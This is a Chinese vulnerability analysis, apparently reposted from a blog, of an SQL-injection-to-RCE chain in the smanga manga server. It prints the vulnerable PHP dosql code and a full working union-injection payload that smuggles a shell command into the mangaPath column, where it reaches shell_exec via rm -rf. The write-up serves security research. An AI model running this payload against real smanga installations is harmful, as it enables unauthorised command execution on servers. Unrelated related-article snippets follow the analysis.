免责声明

本文档所述漏洞详情及复现方法仅限用于合法授权的安全研究和学术教育用途。任何个人或组织不得利用本文内容从事未经许可的渗透测试、网络攻击或其他违法行为。使用者应确保其行为符合相关法律法规,并取得目标系统的明确授权。
对于因不当使用本文信息而造成的任何直接或间接后果,作者概不负责。若您发现本文内容涉及侵权或不当信息,请及时联系我们,我们将立即核实并采取必要措施。

源代码如下

源代码如下

获取参数mangaId,跟进dosql方法

function dosql($params)
{global $gIp;global $gUserName;global $gPassWord;global $gDatabase;#输出所有错误信息error_reporting(E_ALL);ini_set('display_errors', '1');#将出错信息输出到一个文本文件ini_set('error_log', dirname(__FILE__) . '/mysql_error.txt');#设置默认值$ip = @getValue($params['ip'], $gIp);$username = @getValue($params['username'], $gUserName);$password = @getValue($params['password'], $gPassWord);$database = @getValue($params['database'], 'smanga');$port = @getValue($params['port'], $gPort);$type = @getValue($params['type'], 'select');$name = @getValue($params['name'], '*');$where = @getValue($params['where'], array());$group = @getValue($params['group'], '');$field = @getValue($params['field'], array());$value = @getValue($params['value'], array());$limit = @getValue($params['limit'], '');$start = @getValue($params['start'], '');$order = @getValue($params['order'], '');$desc = @getValue($params['desc'], '');$keyword = @getValue($params['keyword'], '');$test = @getValue($params['test'], false);$charset = @getValue($params['charset'], 'utf8');#链接mysqlif (isset($params['link'])) {$link = $params['link'];} else {$link = @mysqli_connect($ip, $username, $password, $database, $port)or die("数据库连接失败!失败信息:" . mysqli_connect_error($link));}#设置数据库// @mysqli_select_db($link,$database,);#设置数据编码mysqli_set_charset($link, 'utf8mb4') or die("数据库编码集设置失败!");#获取数据表名。如获取失败,则返回错误if (isset($params['table'])) {$table = $params['table'];} else {echo "表名(table)不能为空!";exit;}$where = to_array($where);$field = to_array($field);$value = to_array($value);$name = to_string($name);$table = to_string($table);#判别操作类型switch ($type) {case 'insert':$request = insert($link, $table, $field, $value, $test);break;case 'delete':$request = delete($link, $table, $where, $test);break;case 'select':$request = select($link, $name, $table, $where, $group, $order, $desc, $limit, $start, $test);break;case 'update':$request = update($link, $table, $where, $field, $value, $test);break;case 'search':$request = search($link, $name, $table, $where, $field, $keyword, $group, $order, $desc, $limit, $start, $test);break;case 'getcount':$request = getcount($link, $table, $where, $group, $test);break;case 'getnum':$request = getnum($link, $name, $table, $where, $group, $test);break;case 'searchcount':$request = search_count($link, $name, $table, $where, $field, $keyword, $group, $order, $desc, $limit, $start, $test);break;default:# code...break;}#返回数据return $request;#关闭数据库连接mysqli_close($link);#结束执行exit;
}

大致意识给各种SQL执行相关的变量赋值

比如这里的type没有赋值的情况下,默认就是select,name没有赋值的情况下就是*,我们看看select分支

看一下where参数的控制,跟进select方法

where变量被传入了where方法,更近where方法,就是将where数组中的变量取出,用and进行拼接,由于传入的参数mangaId用户可控,所以这里存在SQL注入

来看看这里RCE成因

首先来看看我们构造的参数mangaId使用union注入如下恶意SQL时,会返回一条数据

所以联合注入如上SQL,会按照联合注入的原理会返回一条数据

完整的SQL如下

select * from manga where mangaId=1 union select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d join (select '\";echo `whoami` > 1.txt;\"')e join (select 6)f join (select 7)g join (select 8)h join (select 9)i join (select 10)j join (select 11)k join (select 12)l;

接着我们继续看入口的代码

执行完dosql之后,返回数据保存在$mangaPathRes变量中,首先判断$mangaPathRes变量中是否保存有数据,没有数据直接返回,随后判断可控变量deleteFile是否为ture,为ture进入if逻辑,首先从$mangaPathRes中获取返回数据mangaPath,随后直接传入shell_exec方法

接着我们分析数据表,从数据库构建表的过程中可以看到表manga存在12列,其中低5列名为mangaPath

由于前边的SQL注入,返回的第五列数据如下

所以这个时候传入shell_exec的参数就是";echo `whoami` > 1.txt;"

完整的执行语句

rm -rf "";echo `whoami` > 1.txt;"",导致命令执行

测试如下

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/pingmian/95831.shtml
繁体地址,请注明出处:http://hk.pswp.cn/pingmian/95831.shtml
英文地址,请注明出处:http://en.pswp.cn/pingmian/95831.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Pandas DataFrame 指南

📊 Pandas DataFrame 常用操作代码示例 下面用表格汇总了 DataFrame 的常用操作,方便你快速查阅和实践。 操作类别代码示例说明(简要)数据读取df pd.read_csv(data.csv)读取 CSV 文件df pd.read_excel(data.xlsx, sheet_nameS…

React学习教程,从入门到精通, React 样式语法知识点与案例详解(13)

React 样式语法知识点与案例详解 作为React初学者,掌握样式语法是构建美观UI的关键。本文将详细介绍React中所有主要的样式方法,并提供详细注释的案例代码。 一、React样式语法知识点总览 1. 行内样式 (Inline Styles) 使用style属性,值为Jav…

Proxychains 配置全解析:从入门到高级应用

引言 在数字时代,网络隐私与安全至关重要。无论是绕过地理限制访问内容,还是在渗透测试中隐藏踪迹,代理工具都不可或缺。Proxychains(或称 Proxychains-NG)作为一款经典的开源代理链工具,以其高效灵活的特性…

二叉树的前中后序遍历(迭代法)

目录 题目链接: 题目: 解题思路: 代码: 前序遍历: 中序遍历: 后序遍历: 总结: 题目链接: 144. 二叉树的前序遍历 - 力扣(LeetCode) 94. …

redis的数据类型:string

文章目录String类型介绍redis采用的字符集json类型介绍String类型的命令set key value [EX seconds] [NX|XX]incr keyincr对操作的key对应的value类型有限制吗?incr key操作的返回值是什么?incr操作的key可以不存在吗?多个客户端同时针对同…

传统神经网络实现-----手写数字识别(MNIST)项目

完整代码:# import torch # print(torch.__version__)#1.X 1、验证安装的开发环境是否正确, MNIST包含70,000张手写数字图像: 60,000张用于训练,10,000张用于测试。 图像是灰度的,28x28像素的,并且居中的&#xff…

工业机器人标杆的数字化突围,珞石机器人如何以CRM实现业务重塑

在智能制造浪潮下,工业机器人行业正迎来快速增长。作为国内领先的机器人制造商,珞石机器人面对业务规模的迅速扩张,意识到传统的管理方式已无法满足企业发展需求,急需通过数字化升级破解管理难题。因此珞石机器人选择引入纷享销客…

NVIDIA GPU的指令集详细介绍

这是一个非常核心且深入的话题。GPU的指令集架构(Instruction Set Architecture, ISA)是理解GPU如何工作的关键,它直接体现了GPU为大规模并行计算而生的设计哲学。下面我将详细、全面地介绍GPU的指令集。 第一部分:核心哲学 —— …

Day 17: 3D点云深度学习专项 - 理论深度与面试精通之路

Day 17: 3D点云深度学习专项 - 理论深度与面试精通之路 🎯 学习目标:深度理解3D点云核心理论,获得该领域面试入场券 ⏰ 预计用时:6小时 (理论深度4h + 面试准备2h) 🎨 教学特色:理论优先 + 概念深度 + 面试导向 + 行业认知 🎯 今日学习大纲 1. 点云AI的理论基础:几何…

【经济学】量化模型TradingAgents 工具集成层与数据(财报+ 基本信息指标+基本面分析)+ChromaDB 客户端+财务情况记忆库

文章目录Toolkit 作用Toolkit 逐函数解析1. 获取默认配置2. update_config3. config4. __init__5. get_reddit_news6. get_finnhub_news7. get_reddit_stock_info8. get_chinese_social_sentiment9. get_finnhub_company_insider_sentiment10. get_YFin_data11. get_YFin_data_…

Uni-App + Vue onLoad与onLaunch执行顺序问题完整解决方案 – 3种实用方法详解

导读:在 Uni-app Vue 小程序应用开发中,你是否遇到过页面加载时全局数据还未准备好的问题?本文将深入分析onLoad生命周期钩子在onLaunch未完成时就执行的常见问题,并提供三种实用的解决方案。 📋 问题描述 在 Vue 应…

25、SSH远程部署到另一台机器

25、SSH远程部署到另一台机器 因为不是每一台服务器都有jenkins的,一般都是一台jenkins,部署很多机器 1、安装插件 Publish Over SSH2、配置另一台机器 # 生成秘钥 ssh-keygen -t dsa# 把公钥复制到要访问的机器 ssh-copy-id root目标机器的ip# 第一次要…

2025年金融专业人士职业认证发展路径分析

在金融行业数字化转型的背景下,专业认证作为提升个人能力的一种方式,受到越来越多从业者的关注。本文基于行业发展趋势,分析6个金融相关领域的专业资格认证,为职业发展提供参考。一、CDA数据分析师认证含金量CDA数据分析师是数据领…

日用百货新零售小程序设计与开发(代码+数据库+LW)

摘要 本文设计并开发了一款基于Java、Spring Boot和MySQL的日用百货新零售小程序,旨在通过数字化手段优化日用百货的销售与配送流程,满足用户便捷购物的需求。系统采用前后端分离架构,前端通过微信小程序实现用户交互,后端基于Sp…

【Git】查看差异 删除文件 忽略文件

- 第 122 篇 - Date: 2025 - 09 - 07 Author: 郑龙浩(仟墨) 文章目录查看差异 && 删除文件 && 忽略文件1 git diff 可以查看哪些?基本用法比较不同提交比较分支文件比较其他2 彻底删除文件3 忽略文件「1」应该忽略哪些文件&a…

HarmonyOS应用开发:三层工程架构

引言 在HarmonyOS应用开发过程中,随着项目规模的增长,代码的组织结构显得尤为重要。 DevEco Studio创建出的默认工程仅包含一个entry类型的模块,如果直接使用平级目录进行模块管理,工程逻辑结构较混乱且模块间的一栏关系不够清晰&…

phpMyAdmin文件包含漏洞复现:原理详解+环境搭建+渗透实战(windows CVE-2018-12613)

目录 一、CVE-2018-12613漏洞 1、漏洞简介 2、漏洞原理 (1)漏洞触发点与正常逻辑 (2)过滤逻辑缺陷与绕过方式 二、渗透准备 1、访问phpmyadmin靶场 2、登录phpmyadmin 3、获取session文件位置 三、渗透准备 1、读取敏感…

Jakarta EE(基于 JPA)在 IntelliJ IDEA 中开发简单留言板应用的实验指导

Jakarta EE(基于 JPA)在 IntelliJ IDEA 中开发简单留言板应用的实验指导摘要:Jakarta EE 并不仅限于使用 H2 数据库,它支持任何符合 JDBC 或 JPA 标准的数据库,例如 MySQL、PostgreSQL、Oracle 等。H2 通常用于开发测试…

Gitea:轻量级的自托管Git服务

欢迎光临我的个人博客查看最新文章:rivers blog 在当今的软件开发世界中,代码托管平台是必不可少的工具。而对于寻求自主控制和数据隐私的团队与开发者来说,Gitea提供了一个完美的解决方案。 1、 Gitea简介 Gitea(发音为ɡɪˈti…

深度学习-----简单入门卷积神经网络CNN的全流程

(一)卷积神经网络(CNN)的核心思想传统全连接网络的缺陷图像平铺展开后,旋转或位置变化会导致输入差异大,难以识别举例:手写数字“8”在不同位置或旋转后的识别困难(图像在计算机中是…